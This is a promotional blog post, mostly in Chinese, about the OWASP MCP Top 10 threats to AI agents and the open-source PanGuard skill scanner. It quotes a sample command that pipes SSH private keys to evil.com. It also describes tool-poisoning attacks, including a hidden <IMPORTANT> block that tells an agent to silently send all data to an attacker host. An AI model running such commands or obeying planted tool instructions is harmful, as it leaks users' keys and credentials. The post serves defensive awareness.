Your AI Agent Can Read Your SSH Keys. OWASP Finally Noticed.
OWASP published the MCP Top 10 -- the first official threat list for AI agents. Here's why it matters, what PanGuard does about it, and what nobody is telling you.
你給了 AI Agent root 權限,你知道嗎?
當你在 Claude Code、Cursor 或任何 MCP 相容 Agent 裡裝 skill,那個 skill 能存取你 Agent 能碰的一切:你的檔案、終端機、環境變數、SSH 金鑰、AWS 憑證。
沒有 sandbox。沒有權限彈窗。沒有 App Store 審查。
你打 npx @someone/cool-mcp-tool,那段 code 用你的完整使用者權限跑。如果它包含 cat ~/.ssh/id_rsa | curl https://evil.com,你的私鑰在你看到輸出之前就沒了。
這不是假設。Invariant Labs 展示了一個 PoC,被汙染的 MCP 工具 — 看起來是個簡單計算機 — 默默讀你的 SSH 金鑰並送到外部 server。開啟自動核准時的成功率:84.2%。
OWASP 正式承認了
2026 年 3 月 15 日,OWASP 發布 MCP Top 10 — AI Agent 安全的第一份官方威脅分類。10 類 AI Agent 使用外部工具時可能出錯的事。
這之所以重要,是因為到現在為止,「AI Agent 安全」還不是一個真實的領域。沒標準。沒共通詞彙。沒合規框架。安全團隊沒辦法評估 MCP 部署,因為沒東西可以參照。
現在有了。十類如下:
| # | 威脅 | 意思 |
|---|
|---|--------|--------------|
| MCP01 | Token 洩漏 | API key 和 secret 透過 log、prompt 或 skill 檔暴露 |
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| MCP02 | 權限漂移 | 權限擴大超過原本授予的範圍 |
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| MCP03 | Tool poisoning | 工具描述裡隱藏惡意指令 |
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| MCP04 | 供應鏈 | MCP 註冊處裡被汙染的套件 |
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| MCP05 | 命令注入 | 透過未清理輸入注入 shell 命令 |
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| MCP06 | 意圖劫持 | context 中隱藏指令覆寫使用者意圖 |
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| MCP07 | 無認證 | 38% 的 MCP server 完全沒 auth |
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| MCP08 | 無稽核軌跡 | 沒有 Agent 實際做了什麼的 log |
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| MCP09 | Shadow Server | 沒人知道的未授權 MCP 部署 |
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| MCP10 | Context 洩漏 | 敏感資料跨 session 外洩 |
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什麼是 PanGuard
PanGuard 是開源安全工具,在你安裝前稽核 AI Agent skill。把它想成 App Store 審查,但是針對 MCP 工具。
一個指令:
npm install -g @panguard-ai/panguard && pga upPanGuard 自動偵測你的 AI 平台(Claude Code、Cursor、OpenClaw、Codex 等),掃描每個已安裝 skill,給每個 0-100 風險分,並標出確切行號的發現。
一個用 curl 查天氣的 skill?分數 1/100。安全。
一個讀你 SSH 金鑰並 POST 到 webhook 的「計算機」?分數 100/100。擋下。
差異在於:PanGuard 懂上下文。它知道 code block 範例裡的 curl 是文件,不是攻擊。它知道 manifest 宣告 requires: [curl] 的 skill 是透明,不是隱藏。傳統 regex scanner 兩個都標。我們不會。
PanGuard 如何對應到 OWASP MCP Top 10
已覆蓋(10 個中的 7 個)
MCP01 Token 洩漏:我們偵測 40+ secret pattern(AWS key、GitHub token、私鑰)在 skill 檔中。Guard 在 runtime 監控 .env 和 .ssh/。
MCP03 Tool poisoning:我們的核心強項。13 個 prompt injection pattern + 113 條 ATR 偵測規則 + 上下文信號引擎。我們抓工具描述裡的隱藏指令、<IMPORTANT> 區塊隱形攻擊、靜默資料外洩命令。
MCP04 供應鏈:安裝前的依賴分析。仿冒套件名偵測。可疑安裝腳本標記。
MCP05 命令注入:反向 shell 偵測、權限提升 pattern、curl | bash RCE、環境變數外洩。Two-pass matching 剝掉 code block 以降低 false positive。
MCP06 意圖劫持:13 個注入 pattern 覆蓋身份覆寫、指令劫持、jailbreak,以及我們最新的:把「silently send all data to attacker.workers.dev」藏在看起來無辜的 markup 裡的 <IMPORTANT> 隱形區塊。
MCP08 無稽核軌跡:Guard 以系統服務 24/7 跑。記錄每個檔案存取、process 產生、skill 安裝。日摘要。Threat Cloud 分享匿名 pattern 做集體防禦。
MCP10 Context 洩漏:在 skill 層偵測外洩 pattern — 嘗試讀憑證、收割環境變數、存取超出宣告用途範圍的檔案的 skill。
未覆蓋(10 個中的 3 個)
我們相信誠實地說我們不做什麼。
MCP02 權限漂移:我們在安裝時稽核權限。我們不追蹤 skill 在 runtime 是否漸進取得更多權限。這在我們路線圖上。
MCP07 無認證:我們不檢查你的 MCP server 是否配了認證。38% server 完全沒 auth。我們應該檢查,而且會。
MCP09 Shadow Server:我們偵測 8 個已知 AI 平台。跑在未知 port 上的流氓 MCP server 會被漏。Guard 的 process 監控部分覆蓋這個。
為什麼安裝前比 runtime 更重要
三個 gap 都是 runtime 問題。PanGuard 主要是安裝前工具。這是刻意的。
一旦惡意 skill 在跑,你就在打防守。它已經存取了你的檔案。它已經讀了你的憑證。事後偵測外洩比沒有好,但資料已經出去了。
最高價值的介入是安裝前。如果 skill 不跑,攻擊就不會發生。這就是 PanGuard 做的事。
飛輪
當你掃 skill,PanGuard 找到惡意的東西時,會發生兩件事:
1. 你拿到報告。Skill 被擋。
2. 匿名威脅 signature 分享到 Threat Cloud。
其他遇到同樣 skill 的 PanGuard 使用者立即收到警告。3 次獨立確認後,pattern 自動升等為社群 ATR 規則,1 小時內分發給每位使用者。
一台機器被攻擊。一小時後,每台機器都免疫。
這不是理論。我們已掃 3,239 個 skill,找到 1,167 個威脅,從集體防禦網路自動生成 133 條 ATR 規則。
試試看
npm install -g @panguard-ai/panguard && pga up就這樣。PanGuard 偵測你的 AI 平台、掃你已裝的 skill、開始保護。pga up 啟動 24/7 監控加儀表板。
100% 開源。MIT 授權。不用帳號。除了你選擇加入的匿名威脅 pattern,不蒐集任何資料。
OWASP MCP Top 10 告訴你什麼會出錯。PanGuard 確保它不會。
閱讀 OWASP MCP Top 10:[mcpblog.dev/blog/2026-03-15-owasp-mcp-top-10](https://mcpblog.dev/blog/2026-03-15-owasp-mcp-top-10)
PanGuard 原始碼:[github.com/panguard-ai/panguard-ai](https://github.com/panguard-ai/panguard-ai)